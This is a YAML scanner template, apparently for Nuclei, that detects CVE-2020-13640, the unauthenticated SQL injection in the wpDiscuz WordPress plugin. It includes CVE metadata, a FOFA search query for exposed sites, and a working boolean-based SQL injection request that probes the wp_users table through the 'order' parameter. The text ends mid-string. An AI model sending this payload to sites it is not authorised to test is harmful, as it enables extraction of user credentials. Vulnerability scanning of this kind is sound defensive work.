id: CVE-2020-13640 info: name: wpDiscuz <= 5.3.5 - SQL Injection author: Sourabh-Sahu severity: critical description: | A SQL injection issue in the gVectors wpDiscuz plugin 5.3.5 and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the order parameter of a wpdLoadMoreComments request. impact: | Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including user credentials, posts, and sensitive WordPress configuration data. remediation: | Upgrade to wpDiscuz version 5.3.6 or later. reference: - https://github.com/asterite3/CVE-2020-13640 - https://nvd.nist.gov/vuln/detail/CVE-2020-13640 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-13640 epss-score: 0.73948 epss-percentile: 0.98848 cwe-id: CWE-89 cpe: cpe:2.3:a:gvectors:wpdiscuz:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 verified: true vendor: gvectors product: wpdiscuz fofa-query: body="/wp-content/plugins/wpdiscuz" tags: cve,cve2020,wordpress,wp,wp-plugin,wpdiscuz,sqli,vkev,vuln flow: | http(1) set("postid", iterate(template.postid)[0]) http(2) && http(3) http: - raw: - | GET /wp-json/wp/v2/comments HTTP/1.1 Host: {{Host}} stop-at-first-match: true extractors: - type: regex name: postid part: body group: 1 regex: - 'post"\s*:\s*([0-9]+)' internal: true - raw: - | POST /wp-content/plugins/wpdiscuz/utils/ajax/wpdiscuz-ajax.php HTTP/1.1 Host: {{Host}} Content-Type: application/x-www-form-urlencoded Connection: close action=wpdLoadMoreComments&offset=1&orderBy=comment_date_gmt&order=, (SELECT CASE WHEN (ORD(SUBSTRING((SELECT user_login FROM wp_users LIMIT 0,1),1,1)) > 96) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)=1 ASC #&lastParentId=&postId={{postid}} stop-at-first-match: true matchers: - type: word part: body words: - 'comment_list":"